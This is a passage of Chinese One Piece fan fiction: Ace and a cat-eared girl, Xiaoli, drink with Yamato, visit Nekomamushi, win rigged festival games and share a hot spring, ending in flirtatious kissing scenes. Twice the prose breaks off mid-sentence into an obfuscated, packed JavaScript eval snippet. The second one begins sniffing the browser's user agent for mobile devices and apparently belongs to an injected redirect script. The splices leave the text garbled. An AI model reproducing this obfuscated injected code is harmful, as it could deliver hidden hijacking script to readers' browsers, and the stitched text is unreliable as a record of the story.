两人举杯畅饮,“原来在分别之后,你加入了白胡子海贼团啊!”大和看着艾斯,眼睛里带着某种怀念的光,“当年御田也是加入了白胡子海贼团,在那片海上见识到了世界的宽广。” 艾斯握着酒杯,想起那个从未谋面、却总在传说中出现的男人光月御田。 “对,”艾斯提起老爹,笑容里多了几分骄傲,“我家老爹可是世界上最伟大的父亲。” 大和愣了一下,然后笑了。 那笑容里有一些复杂的东西——羡慕、怀念、还有一点点释然。 “父亲”这个词,让她不可避免的想起了另一个身影,那个盘踞在和之国上空几十年的、名为“凯多”的阴影。 艾斯沉默着,给自己和她都倒满了酒。 “大和,”他举起酒杯转移话题“你现在还想出海吗?” 大和抬起头,眼睛亮了起来,那种光芒比之前更加炽烈。 “想的!”她说,声音坚定有力,“当然想!我想去看御田看过的那片海,想去那些他讲述过的地方,想——” 她顿了顿,语气中多了一些更沉稳的东西。 “不过不是现在。” 艾斯挑眉。 “我要先守护和之国。”大和说,语气平静而笃定,“这片土地好不容易才迎来黎明,我要看着它真正走向光明。我要确保像小玉那样的孩子不用再经历我们经历过的一切。” 她握紧拳头,眼神坚毅如铁 “以光月御田之名!” 艾斯看着她,忽然笑了。 那笑容里有一种惺惺相惜的东西,就像在镜子里看到另一个自己,一个同样背负着沉重过去、却选择继续向前的灵魂。 “敬你。”他举起酒杯。 “敬我们!”大和用力碰杯。 两人一饮而尽。 在两人畅饮时,小玉神神秘秘地拉着小狸从里间走了出来,不知何时,小狸已经换上了一身精致的和服。 那是樱花色的振袖和服,衣料上绣着细细的银线花纹,背后打着一个大大的蝴蝶结。 小狸浑身不自在,这衣服太拘束了,袖子太长,腰带太紧,走路要迈小步,坐下要并拢腿,她觉得自己像被塞进礼盒,连尾巴都不知道该往哪儿放。 “好漂亮!”小玉绕着她转圈,眼睛亮晶晶的,“真的真的超漂亮!” 小狸本想换下来,但看着小玉那真挚赞叹的眼神,话到嘴边又咽了回去。 “谢、谢谢……”她有点不自在地扯了扯袖子。 艾斯听到动静抬起头来,看到的就是那个纤细的身影。她的黑发被小玉盘了起来,露出纤细的脖颈,几缕碎发散落在耳畔,衬得那对毛茸茸的猫耳更加可爱。 和服的剪裁并未勾勒出明显的曲线,但腰肢被腰带束出一个自然的弧度,胸口的布料微微隆起,还有领口中那若隐若现的后颈…… 艾斯不由自主地咽了口唾沫。 他的目光一路往下,掠过脖颈,再往下是记忆中的锁骨、白皙的肌肤、胸口那颗小小的痣、还有那些只有他见过的、淡淡的红痕…… “咳咳咳——!”艾斯的脑海里,忽然浮现出一些不该在此刻浮现的画面,他猛地别过头,用力摸了摸鼻子,耳根快速发烫。 不行不行不行,冷静,冷静,这是在外面,当着这么多人的面—— 他的目光慌乱地四处乱飘,然后,对上了大和的眼睛。 大和也正盯着小狸,眼睛瞪得老大,嘴巴微微张开,表情是毫不掩饰的、纯粹的惊艳。 “艾斯”她摸了摸自己的下巴,头也不回地问,“那个是你的船员吗?” 艾斯还在状况外,下意识地回应到 “是……是啊。” “真的是个美人啊。”大和喃喃,目光在小狸身上流连,“果然一切稳定下来之后,我也应该考虑成家的事情了。如果可以的话……她会愿意留在和之国吗?” 艾斯的大脑用了三秒钟才消化完这句话。 “……大和?” “嗯?” 艾斯的声音有点飘,怀疑自己听错了什么,“你是女性对吧?” 他伸出手,比比划划,试图用肢体语言表达那个显而易见的逻辑: “小狸也是,所以你们——” “哈哈哈哈哈哈!” 大和爆发出一阵爽朗的大笑,笑得肩膀都在抖。 “你在说什么呢艾斯!” 她挺起胸膛,理直气壮地宣布: “我啊,可是堂堂正正的男子汉啊!!!” 那声音坚定且爽朗,没有一丝一毫的犹豫。 艾斯:“……” 这坦然的态度,反而让艾斯产生了强烈的危机感。 不是,她真的这么想?而且她本人似乎完全不觉得这有什么问题。 这意味着……她真的可能…… 艾斯来不及多想,身体已经先于大脑行动了,他一把将站在旁边还没搞清状况的小狸搂进怀里,那动作带着十足的占有欲,近乎是在宣示主权。 然后,他当着大和的面低下头,“吧唧”一口,重重亲在小狸脸颊上。 “那真是不好意思啊,”他抬头看向大和,黑眼睛里带着点孩子气的挑衅,“她是我的。” 小狸的脸“轰”地一下烧了起来,从耳尖红到脖颈,红到锁骨,红到和服领口下面看不见的地方。 “艾斯——!!!” 她羞恼地伸手去推他的脸,手掌摁在他脸颊上,用力往外推: “这种事——这种事不需要昭告天下啦!!!” “需要!” 艾斯的脸被她推得变形,嘴巴都挤歪了,但他不仅没松手,反而伸出舌头,轻轻舔了一下她的手指。 小狸的手像触电一样缩了回去。 “你——!!!” 她的脸更红了,红得几乎要冒烟,红得那双蓝色的猫眼里都蒙上了一层水汽。尾巴在身后疯狂甩动,拍得榻榻米“啪啪”响。 艾斯看着她这副模样,嘴角勾起一个得逞的坏笑。 他的手臂又收紧了一些,下巴蹭了蹭她的发顶,声音低低的,带着笑意和某种更认真的东西: “竞争者太多了些。尤其是这种让人毫无防备的家伙——”他瞟了一眼还站在旁边、一脸无辜的大和,“可不能让人钻了空子。” 小狸完全说不出话,只是把脸埋进艾斯胸口,开始装死。 大和看着这一幕,挠了挠头,忽然露出一个恍然大悟的表情。 “哦——”她拉长声音,“原来如此。我明白了。” “你明白什么了?”艾斯警惕地看着她。 “没什么。”大和咧嘴一笑,拎起酒壶灌了一大口,“真是可惜啊。不过艾斯,你这护食的样子还挺有趣的。” 怀里的小狸闷闷地发出一声类似“呜呜”的、不知道是羞还是恼的声音,尾巴却不知什么时候,悄悄缠上了艾斯的小腿。 二番队见到了小玉,并没准备在和之国久留,以藏回绝了菊之丞去拜访光月桃之助的意见,他已经选择了白胡子海贼团,没有留在和之国的想法,最后选择和大家一起去探望猫蝮蛇 “真的……要穿着这个出门吗?”小狸小声问。 “当然啦!”小玉用力点头,“这么好看的衣服,不穿出去给别人看多可惜!” 小狸张了张嘴,想说自己其实没那么想给别人看,但看着小玉亮晶晶的眼睛还是叹了一口气,只是这点小事就能让她开心的话,也不算什么就是啦 出发的时候,小玉眼巴巴的看着艾斯,小狸笑了笑把她抱起来,小玉熟练地爬到艾斯脖子上,两条小腿一晃一晃,兴奋地左顾右盼。艾斯伸手扶稳她,转头看向小狸打趣。 “你呢?小懒猫,要不要也上来?” 小狸瞪他:“我穿着这个,怎么上?” “那我抱你。” “不要”小狸的脸又红了,“快走啦。” 她低头看了看与和服配套的木屐,鞋底又高又硬,走路还得迈小碎步后果断把它往旁边一放,也不在乎别人的视线,换上了自己舒服的鞋,顺手把一直蹲在旁边、正用爪子扒拉地上石子的的小哒抱了起来。 小哒现在已经很大了,大到她抱起来有点吃力,大到再叫它“小哒”都有点名不副实。它褪去了幼年时期的绒毛,换上了一身火红的漂亮羽毛,翅膀张开时已经能投下一片阴影,她走一段就要换一只手。 但它还是喜欢被抱,尤其是被小狸抱。 尽管这个姿势对它来说并不舒服,小狸像抱母鸡一样把它箍在怀里,它的翅膀被压着,两条腿悬空,而且它的尾羽太长,即使小狸努力往上托,那几根火红的尾羽还是会拖在地上,发出“沙沙”的摩擦声。 但它就是喜欢!妈妈的怀抱是暖的,有熟悉的气味,有轻轻的呼吸。就算不舒服,它也要待在这里。 小狸走了几步,感觉怀里越来越沉,低头瞪了小哒一眼:“你知不知道你有多重?” 小哒无辜地眨眨眼睛。 “迟早有一天我抱不动你。” 小哒把脑袋往她颈窝里一埋,假装听不懂。 和之国的街道比小狸想象中热闹得多。店铺林立、行人来来往往,路边都是小贩的叫卖声,小狸好奇地四处张望,怀里的小哒却不安分了。 它闻到了香味,路边的烤鱼摊、热气腾腾的关东煮、刚出炉的团子……各种食物的香气钻进它的鼻孔,刺激着它那颗永远填不满的胃。 “哒!”它猛地挣扎了一下,脑袋朝烤鱼摊的方向探去。 小狸早有准备,手臂一紧,把它勒了回来。 “不许动。” “哒哒!”它继续挣扎,眼睛死死盯着那条滋滋冒油的烤鱼。 “说了不许动。” 小哒委屈地回头看她,眼睛里写满了“我就吃一口”。 小狸面无表情地把它箍得更紧。 旁边的小玉趴在艾斯头顶,有点心疼小哒:“小哒好想吃那个鱼啊。” “不能让它吃。”小狸叹气,“它要是尝到一口,整条街的摊贩都得遭殃。” 这绝不是夸张。 小哒的性格越来越猖狂,一副天不怕地不怕的样子。它从小在莫比迪克号上长大,所有船员都把它当宝贝,尤其是它刚破壳那会儿,大家都心疼它从小离开了妈妈,谁见了都要喂两口、摸两把、夸两句“好乖好可爱”。萨奇偷偷给它喂最好的肉,马尔科默许它在医务室睡觉,就连乔兹那个硬汉,也会在它蹭过来的时候伸手摸摸它的脑袋。 它脑子里根本没有“规矩”这两个字。 它只知道:我想吃,就能吃到。我想玩,就有人陪。我想要妈妈抱抱,妈妈就会抱我。 至于“可怜”?那是什么?可以吃吗? 小狸有时候也觉得自己是不是太纵容它了。但每次想要狠狠心教训它,就会想起它圆溜溜的眼睛,想起它颤颤巍巍地朝她走过来,眼睛里只有她一个人的可爱模样……然后就下不去手了。 于是小哒越来越猖狂,越来越无法无天。 不过虽然被勒着不舒服,虽然尾羽拖地不太爽,但这里是妈妈的怀抱。所以它愿意忍着,愿意乖乖待着。 小哒把脑袋搭在小狸肩上,长长的喙轻轻凑到她鬓角,一下一下地梳理着她被风吹乱的碎发。那个动作很轻,很温柔,带着鸟类特有的亲昵。 我真是妈妈的暖心好鸟,小哒心里美滋滋地想,它专注地梳理着,喙尖轻轻挑起一缕碎发,顺着发丝的方向理顺。 一下,两下,三下…… 一小撮黑色的发丝飘落下来,小哒的动作顿住了。它的眼睛往下瞟了瞟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小狸努力让自己的声音镇定些,但尾巴尖还是不争气地下垂: “猫、猫蝮蛇老大,你好。我是小狸,马尔科先生让我代他向你问好。” “马尔科?”猫蝮蛇眼睛一亮,“他现在怎么样?还天天挂着两个黑眼圈么?” “呃……还好?他还是挺忙的。” “哼,问好让他自己来!”猫蝮蛇直起身,挥了挥巨大的爪子,“成天躲在船上算怎么回事,老子这儿有好酒好肉,还能害他不成!” 他忽然想起什么,转身大步走回树屋里。木质的楼梯在他脚下发出“吱呀吱呀”的哀鸣,紧接着传来翻箱倒柜的声响。 “等等啊,老子有个好东西!” 片刻后,他又大步流星地冲了出来,巨大的爪子里捏着一根木棍,不管它装饰的多么精致,上面的铃铛多么漂亮,羽毛多么柔软,它也是一根……逗猫棒。 “给!”猫蝮蛇把那根巨大的逗猫棒往小狸面前一递,“送你的见面礼!” 小狸的眼睛直了。 她的尾巴不自觉地绷直,尾尖剧烈颤抖。她的耳朵向前转,捕捉着那清脆的铃铛声 “叮铃。” 猫蝮蛇老大晃了晃逗猫棒 等到小狸反应过来的时候,自己已经叼着“礼物”蹲在猫蝮蛇家的地板上了,众人都一脸好笑的看着她 她的耳朵一瞬间变成了飞机耳,缓缓张开嘴,任由那根逗猫棒掉在地上 现在把目击者全部灭口还来得及么? 猫蝮蛇一副爽朗的样子大笑着“哈哈哈哈,对嘛对嘛,身手敏捷灵巧,是只好猫” 小狸一点都没有被安慰到,幽怨的看着猫蝮蛇 猫蝮蛇摸了摸鼻子,打了个哈哈,招呼大家进屋小坐,众人假装不看她,肩膀抽动得进了屋,只有艾斯弯腰把那根逗猫棒捡了起来小心收好,趁大家不注意轻轻咬了一下小狸的耳尖,意有所指的轻声说“没关系,等晚上没人的时候,我陪你一起玩……” 小狸看着他脸上暧昧的笑,磨了磨牙,决定今晚就从他开始杀起了 --- 猫蝮蛇举起酒杯:“来来来!今天高兴,先干一杯!” 刚刚结束酒局的众人不知道为什么又开始喝酒,小狸还困在窘迫里,有点局促 “对了,”猫蝮蛇放下酒杯,看向小狸,“马尔科那小子还说什么了么?” “呃……”小狸回忆了一下“他说,让猫蝮蛇老大别老抽那么多烟,对身体不好,要听医嘱。还说,有空的话去莫比迪克上坐坐,老爹也想你了。” “嚯嚯嚯嚯!”猫蝮蛇笑得尾巴直颤,“那家伙,自己成天熬夜,头发都要掉没了,还管我抽烟?至于白胡子……”他的眼神变得有些悠远,“我确实该去看看他了……” “猫蝮蛇老大认识老爹很久了吗?”小狸好奇地问。 “那可不,”猫蝮蛇老大灌了一大口酒,“当年追随御田大人一起出海的时候,第一个遇到的就是白胡子”他比划了一下,“老子在他面前,也就是个稍微大点的猫崽子。” 小狸想象了一下那个画面,忍不住笑了。 “后来呢?”加洛特追问,“后来你们怎么分开了?” “后来御田大人跟罗杰走了,老子和犬岚一起又偷渡到了罗杰的船上。”猫蝮蛇老大摸了摸胡须,他看向小狸,金色的猫瞳里带着笑意:“白胡子年纪也很大了,现在身体怎么样?” “好。”小狸用力点头,猫耳跟着晃了晃,“特别好。老爹答应我要活一千年呢!” 猫蝮蛇被小狸逗得哈哈大笑“那可要加把劲啊。说起来——”他忽然看向艾斯,“听说你差点死在马林梵多?” 艾斯的动作顿了顿,但很快恢复自然,端起酒杯“啊……算是吧。” “什么叫算是!”猫蝮蛇老大瞪眼,“老子都听说了,蒂奇那混蛋——妈的,要不是抓不着他,老子非去把他胡子薅光不可!” 艾斯笑笑,侧头看了一眼身边的小狸,“都过去了,现在不是好好的。” 艾斯和他讲了了断之战,猫蝮蛇不断的拍着大腿,一副真解气的样子 酒过三巡,气氛越来越热络。猫蝮蛇开始讲起当年和御田一起冒险的趣事,以藏安静地听着,偶尔插一两句关于御田的回忆。他的表情很平静,但小狸注意到,他的手一直无意识地摩挲着酒杯的边缘。 “以藏先生”小狸小声问,“你在想什么?” 以藏看了她一眼,沉默片刻,轻轻笑了:“在想……如果御田大人还在,看到现在的和之国,一定会很高兴。” 小狸不知道该说什么,只是轻轻“嗯”了一声。她想了想,又抬头看向以藏“你们说的御田大人,也是和之国的武士么?” 发现小猫完全一知半解根本不知道他们说的是谁还硬是陪他们一起坐在这里聊了这么久的以藏哭笑不得,有点怀念的想起那个身影 “对,御田大人也是武士……是最厉害的武士。” 132.夜市和温泉[番外] 窗外,夕阳西沉,街道上开始变得人头攒动,小狸好奇的张望,猫蝮蛇看出了她的心思,“晚上有夜市哦,可以去玩一玩。” 小狸眼睛一亮,和小玉对视一眼,她喝不了多少酒,已经开始觉得酒局无聊了,毫不犹豫的和小玉手牵手跑到了街上 和之国的夜市和小狸之前逛过的都不一样,灯笼串成一条光河,从街这头蜿蜒到那头,各色的光晕连成一片,把整条街都浸在朦胧的氛围里。 小玉拉着小狸吃了和之国特色的苹果糖、章鱼烧,还和小玉一人买了一个狐狸面具扣在脸上,看着彼此的样子哈哈大笑,小玉牵着她的手,小小的手指紧紧攥着她的,带着她往人群最热闹的地方钻,走着走着,小玉的脚步停在一个捞金鱼的摊子前。 那摊子上摆着好几个大木盆,里面游动着五颜六色的金鱼,尾巴飘飘,在灯笼光下闪闪发亮。 “想玩吗?”小狸问她 “嗯!“小玉点头,眼睛亮晶晶的,小狸付了钱,摊主递过来一个纸网和一个小碗 那个摊主的纸网又薄又脆,只是放在水面就被水晕开,还没做什么微微用力就破了一个大洞,摊主似乎早有预料,自己吧唧吧唧的抽着烟斗,回避着小玉的目光,小玉也不气馁,又试了一次,毫不意外的,依然一无所获 小狸看她有点难过,自己也不太熟悉规则,只好往摊主那里凑了凑 “大叔,能不能教教我这个……”她是真的想帮小玉捞一条金鱼上来的 摊主看了看她,咂摸了一下,勾起了嘴角“你自己试一下不就知道了吗~只要五银而已” 小狸眨了眨眼睛,付了钱挽了挽袖子,决定自己试试 网子轻飘飘的,拿在手里似乎完全没有重量,小狸甚至刻意控制了自己的能力,免的金鱼过于亲热,手猛的探出,纸网精准的停在一尾金色的金鱼身下——然后纸网破了个大洞,金鱼晃了晃尾巴游远了 不行啊…… 小狸叹了口气,虽然有点对不起小玉,但是果然不能作弊,她摸了摸小玉的脑袋“不好意思呀,我也不太擅长这个……” 小玉面具后的眼睛有点失望,但还是乖巧的拉了拉小狸的袖子 “没关系的,小狸姐姐,我们走吧!” 见两人要走,摊主却拦住了他们“哎呀,小姑娘,不要这么简单就放弃嘛~多试几次一定可以的,你看,很简单的” 摊主似乎为了证明自己的话,从袖子里掏出一个纸网,一挥手,轻轻松松的就从盆子里捞出一尾金鱼,那鱼还在网子上蹦了两下,落回了水里,似乎是他这番展示的效果,摊子前又来了不少人凑热闹,不过大多都一无所获,在众人质疑他的话语中,摊主只是用“都是技术”之类的话打发着 小玉小声的说了一句好厉害,小狸却眯了眯眼睛,目光紧紧盯在摊主手里的纸网上,他能骗骗小朋友,但是可瞒不过小猫敏锐的眼睛,他手里的纸网和给顾客的完全不是一种东西 骗子 小玉手里的网又一次破开,她小小的呜咽了一声,小狸看着摊主勾起的嘴角也来了脾气,她把钱塞进摊主手里,随便拿了一个旁边的纸网 摊主本来还一副胜券在握优哉游哉的样子,但是很快就瞪大了眼睛,因为他眼睁睁的看着小狸只是把网放在了水面,盆里的金鱼们就忽然都停下了游动,像是听到了什么召唤转过身来,整齐的有些诡异。接着,一条红色的鱼甩了甩尾巴,跃出水面,扑通一声,跃进了小玉的小碗里 紧接着,第二声,第三声,金鱼们排着队,像训练有素的杂技演员,从水中跃起,精准地落进小玉的碗里。 小玉瞪大了眼睛,嘴巴张成了“O”形。 老板的嗤笑僵在脸上“等、等等!”他反应过来,冲上前“这不可能,你怎么做到的!” 小狸冷冷的瞥了他一眼“技术啊。我觉得大叔你说的很对。” 摊主被噎了一下,脸色不善“顾客!你这样是违反规则的!这游戏是要用网子捞!” 小狸抬了下眼,无所谓的耸了耸肩,然后她收回目光,继续看着木盆。 金鱼们的“表演”更离谱了。 它们不再直接跳进碗里,而是先在纸网上轻轻弹跳一下后再优雅的跃入碗中,之前那薄得碰水就破的纸网,此刻却稳稳地托着它们 摊主彻底闭了嘴。 小玉的眼睛里全是星星,崇拜简直要溢出来:“哇!!!好厉害!!!” 她扑过去抱住小狸的胳膊:“小狸姐姐你是怎么做到的?!它们怎么这么听你的话?!” 小狸还没来得及回答,摊主已经开始耍赖了。 “不行不行!”他挥舞着手臂,“你们不能继续捞了!这样不行!这是作弊!是犯规!” 小狸歪了歪头,蔚蓝的眼睛在灯笼光下闪过一丝狡黠的光。 不让玩这个是吧。 她站起身,目光扫过摊子上其他的游戏区域——套圈、投沙包、射击气球,还有一整排放在架子上的毛绒玩偶。 她牵着小玉,默默走到那排玩偶前。 然后,她伸出手,指了指最后面那只巨大的熊玩偶。 “这个怎么赢?”她问。 摊主还没从刚才的震惊中回过神,下意识地回答:“十个沙包……击倒了就能拿……” 小狸点点头。 她不由分说的把钱扔给了摊主,随手抄起一个沙包,在手里掂了掂 左臂猛的挥出,沙包在空中划出一道完美的弧线,精准地落在熊玩偶的脖子上。 那个被偷偷固定在架子上的大熊玩偶居然被小狸的蛮力砸了下去,啪嗒一下掉在地上 “中了。”她面无表情地说,抄起第二个沙包,旁边的兔子也掉了下来 小玉跳着去捡那只比她还大的熊和兔子,整个人都被毛茸茸淹没了,只露出两只亮晶晶的眼睛。 小狸拿起了第三个沙包时摊主终于反应了过来 “等、等等!”他冲过来想要拦她,“你不能这样!这、这不可能!你一定作弊了!” 小狸停下来,看着他,表情无辜:“作弊?怎么作弊?我这是技术啊~” 老板啊啊啊的叫个不停,挥舞着手臂想要拦着她,似乎是觉得她们只有两个小姑娘,态度并不好 “这是在玩什么啊?” 就在这时,一个熟悉的声音从人群外传来 小狸回头一看,差点笑出声。 一群人浩浩荡荡地往这边走来——艾斯、以藏、丢斯、米娅、加洛特,还有几个二番队的队员,一个个脸上都带着那种“我们就是来看热闹”的表情。 丢斯走在最前面,看到小狸,隐晦地冲她眨了眨眼睛。 小狸立刻明白了。 她笑眯眯地拉着小玉往旁边站了站,把舞台让了出来。 老板还以为今天自己的摊子这么受欢迎,脸上堆起热情的笑容:“来来来!各位客官!想玩什么随便玩!套圈、投沙包、射击,应有尽有!” 艾斯大大咧咧的咬着团子,随手抄起一个小狸的沙包,一下打在架子上,上面的玩偶噼里啪啦的往下掉 他身后的一群队员也跟着涌上来,瞬间把整个摊子围得水泄不通。 套圈?中了。 投沙包?中了。 射击游戏? 以藏走上前,举起那把玩具枪,眯起一只眼,扣动扳机—— “砰。” 气球爆了一个。 “砰。” 又一个。 “砰、砰、砰、砰、砰。” 一气呵成,弹无虚发。 老板的脸色开始发白。 以藏打完最后一发,放下枪,甚至还悠闲地检查了一下枪械结构,然后对老板说:“你这枪的准星偏了,我帮你调好了。以后不会再‘不小心’射偏了。” 看着小狸笑眯眯的和以藏击掌,老板这次是真的哭了,他要把整个摊子都陪进去了,坐在地上嚎啕大哭,小狸才不管他,自顾自的拿着自己的战利品拉着小玉软乎乎的小手笑眯眯的离开了 小狸吃着刨冰,小玉手里拿着一个小袋子,里面装着小狸挑选的最漂亮的几条小金鱼,艾斯怀里和背上各有一只巨大的毛绒玩偶,整个人都被毛茸茸淹没,丢斯在一边嘲笑他像只乌龟,米娅鄙视的看了丢斯一眼,真不知道他在笑什么,明明他自己也揣着一大堆玩偶 众人把小玉送回了家,天色已晚,干脆在菊之丞安排的旅馆住了下来,这家旅馆非常豪华,单间院子里还有独立的露天温泉,小狸和艾斯的房间里,榻榻米上铺着柔软的被褥,窗边的矮桌上摆着茶具和一小碟和果子。 “来,抬手。” 小狸乖乖抬起手,米娅帮她解开和服那复杂的腰带,那身束缚了她一整天的衣服终于从身上滑落 “呼——”小狸长长地舒了一口气,整个人都轻松了。 “有这么难受吗?”米娅笑着问。 “你不懂。”小狸认真地说,“这衣服太可怕了,迈不开腿,弯不下腰,连尾巴都没地方放。” 她说着,活动了一下肩膀,尾巴在身后愉快地晃了晃。 米娅失笑“我当然不懂了,我又没有尾巴” 两人舒舒服服的洗了个澡,长舒了一口气,小狸盘起了头发,已经迫不及待的往房间走“等等,”米娅拉住她,“不可以泡太久哦。会热晕过去的。” 小狸点头,但心已经飘向庭院里那升腾着热气的温泉池。 米娅敲了一下她的脑袋:“认真听!” “听了听了!”小狸捂着脑袋,显然根本没听,叽里咕噜说什么呢,泡温泉啦 庭院里的温泉池不大,池子是用天然石材砌成的,边角被岁月打磨得圆润光滑,带着淡淡的硫磺气息,水面上飘着几片不知从哪里落下的花瓣。 小狸脱掉浴衣,小心翼翼地试探着把脚伸进水里,暖意从脚尖迅速蔓延到全身。她舒服地叹了口气,慢慢把整个身体浸入水中。 和船上那个窄窄的浴桶完全不一样,温泉水温度略高,但泡着刚刚好。她靠在池边的石头上,仰起头,看着头顶的星空。 空气微凉,身体却泡在温热的泉水里。这种冷热交织的感觉,让她舒服得连尾巴尖都软了。 她缩了缩身体,把口鼻也浸到水里 “咕噜咕噜咕噜……” 她开始在水里吐泡泡,一串串气泡从水面冒出来,在月光下泛着晶莹的光。 身后的拉门被“哗啦”一声拉开了,小狸还没来得及回头,就听到一阵急促的脚步声 “噗通——” 一个身影一个箭步跳进温泉里,水花四溅,劈头盖脸地淋了小狸一身< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水面泛起细微的涟漪,一圈一圈地荡到她身边。 她的手指无意识地握紧了,温热的气息拂过她的耳尖。 “小狸。”他的声音低低的,带着一点沙哑,像羽毛轻轻划过她的心尖。 她不敢抬头,不敢动,甚至连呼吸都屏住了。尾巴在水里绷得笔直,尾尖微微发颤。 艾斯的手轻轻托起她的下巴,带着她慢慢抬起头。 月光下,他的眼睛离她那么近,近到她能看到自己倒映在他瞳孔里的样子……红透的脸,湿润的睫毛,还有微微张开的嘴唇。 他慢慢靠近,她的心跳快得像要从胸口蹦出来,她下意识闭上眼睛 “哒——!!!” 一声响亮的、不合时宜的鸟叫,从房间的方向传来! 紧接着是翅膀扑腾的声音,和什么东西撞到拉门的“砰”的一声。 小狸猛地睁开眼睛,艾斯的动作也僵在半路。 两人对视一眼,同时转头看向房间的方向,一个巨大的、毛茸茸的影子正在试图挤出来。 “哒!哒哒!” 小哒的声音充满急切,小狸反而“噗”的一声笑出来。 艾斯叹了口气,额头抵在她肩上,闷闷地说:“……这破鸟。” “你不是说不用管它的嘛。”小狸笑得太厉害了,肩膀一抖一抖的 “……”艾斯抬起头,看着她笑得眉眼弯弯的样子,还是不死心的对着小狸的唇吻了一下,含混不明的哼哼了两声 “一会我就把这只破鸟碰到别人房里去……” 小哒终于挤了出来,扑腾着翅膀朝温泉冲过来,噗通一声,它也跳进来了。 巨大的龙鸟在小小的温泉池里扑腾,把本就有点小的池子更是占的满满当当,水花溅得到处都是,它还在水里转着圈,发出欢快的“哒哒”声,完全不知道自己刚才打断了什么。 “小哒!”小狸被它溅了一脸水,“你别乱动!别动!” 但小哒不听,它太兴奋了,第一次泡温泉,满池子乱窜。 艾斯无奈地看着这只搅局的鸟,再看看同样被溅成落汤鸡的小狸,忽然笑了。 他伸手,把正在扑腾的小哒一把抱住,然后另一只手揽过小狸。 “行了,”他说,把一人一鸟都圈在怀里,“一起泡吧。” 小狸靠在他肩上,小哒趴在他怀里,月光洒在水面上,泛起粼粼的波光。她悄悄抬头,看了看他的侧脸,他正好也低头看她,两个人对视一眼,同时笑了。 小哒在艾斯怀里发出满足的“咕噜”声,那声音完全不像鸟,更像小狸平时发出的声音。 小狸捏了捏它的鸟喙“小鸟不是这么叫的,不许学!” 小哒才不听,依旧咕噜个不停 小狸看着艾斯幽怨的眼神,不知道为什么有点心虚,趁小哒不注意,安抚的亲了亲艾斯的脸颊,小哒小眼睛瞪得圆圆的,又不甘寂寞的扑棱起来,表示不可以偏心,小狸被它闹得哭笑不得,只好也在它的脸上也亲了一下小哒才安静下来,美滋滋的用爪子蹬水,艾斯把脸撇到一边,哼哼了一句 “破鸟……一会就把你送走……” 133.胜负和新的约定[番外] 小狸到底还是把自己泡得迷迷糊糊了。 温泉水太舒服,月光太温柔,艾斯的怀抱太暖和——三者加在一起,让她不知不觉就闭上了眼睛。等再醒来的时候,人已经不在温泉里了。 她躺在柔软的被褥上,身上穿着干爽的浴衣,不知道是什么时候换上的。房间没有点灯,只有淡淡的月光从外面漏进来,在地板上铺开一片银白的光。 小狸眨了眨眼睛,翻了个身,艾斯不在。 她趴在被褥上,尾巴懒洋洋地晃了晃,望着窗外的月亮。 天早就黑透了,也不知道现在是什么时间。周围安静得只听得见虫鸣和自己的呼吸声。她把杯子放回去,重新趴下,下巴搁在手臂上,尾巴有一下没一下地拍打着被褥。 晒月亮的感觉,还挺舒服的。 不知过了多久,房门再次响起,艾斯穿着浴衣从外面走进来,看她醒了就笑着躺到她身边和她一起晒月亮 小狸的尾巴落在他身上,有一下没一下的拍打他的小腿 “你去干嘛了啊” 艾斯的手指把玩着她的发丝“小哒睡着了,把它送到斯卡尔房间去了,碍事的家伙” 他也不装了,带着被打扰的怨气,小狸还没来得及反应,他已经俯身过来,擒住了她的唇。 他的手掌扣住她的腰,隔着浴衣的薄薄布料暧昧地摩挲着。那温度烫得惊人,像是要把她整个人点燃。 “唔……” 小狸被吻得喘不过气来,等终于分开时,只能趴在他胸口大口呼吸。明明现在是很危险的状态,但心底那份被宠出来的小脾气却开始蠢蠢欲动,凭什么每次都是她手脚发软、溃不成军……小猫咪也是有尊严的,小猫绝不认输! 湛蓝色的猫瞳里闪过一丝狡黠的光,做坏事的鬼点子几乎不需要思考。她趁艾斯不备,突然一个发力,凭借猫科动物出色的敏捷,猛地将放松状态下的艾斯推翻在柔软的床铺上! “咚”的一声闷响,艾斯猝不及防地被自家小猫压在了身下,头还撞了一下地板。他有些错愕地抬眼,对上小狸那张写满了“阴谋得逞”和骄傲的脸蛋,不由得失笑。双手顺从地举过头顶,做出投降的姿态,他倒要看看,这只胆子越来越肥的小猫究竟想玩什么花样。 “艾斯不许动哦!”小狸骑在他腰上,居高临下地宣布规则,尾巴得意地晃动着,“我做什么都不许动!要不然……”她歪着头,认真思考着惩罚条款,想了半天,才憋出一个自认为很严重的威胁 “明天就要给我买两份冰淇淋!还有——和我一起回风车村看望爷爷……” 她后半句话小声嘀咕了什么,非常刻意的说的含糊不清,小狸也不清楚艾斯有没有听清 艾斯被她这“狮子小开口”逗得胸腔震动,低笑出声,却还是残酷地讨价还价:“不可以,只有一份,吃多了会肚子痛。” “呜哇!艾斯过分!”小狸不满地嘟起嘴,身体前倾,几乎要贴到他脸上,“我要是赢了不是应该听我的吗!” “你怎么知道,”艾斯好整以暇地看着她,眼神带着纵容和一丝不易察觉的期待,“你一定会赢呢?” 这句话彻底点燃了小狸的胜负欲。她眼睛贼溜溜地转了转,像只准备做坏事的小猫。“那我开始了!哥哥可要忍住不能动哦!”她还不忘“宽宏大量”地补充一句,“不过我也没那么过分,不会挠你痒痒的。” 艾斯配合地点头,全身肌肉放松,真的摆出一副任君采撷的模样,只是眼底燃烧的火焰泄露了他并不平静的内心。 然后他就看见他的小猫,带着一脸坏笑,慢慢地、慢慢地俯下了身。 粉嫩柔软的唇瓣再次贴了上来,带着少女特有的清甜气息。艾斯感觉到,那只小猫居然得寸进尺地伸出了柔软灵巧的舌尖,像品尝甜点一般,有一下没一下地、带着试探和挑逗意味地舔舐着他的唇形。 那湿湿热热的触感,如同细微的电流,瞬间窜过艾斯的四肢百骸。他的呼吸微微一滞,强忍着将她立刻揉进怀里的冲动。 小狸的舌尖在他唇上徘徊、勾勒,过了一会儿,居然开始尝试轻舔他的齿关,试探着想要闯入进去。 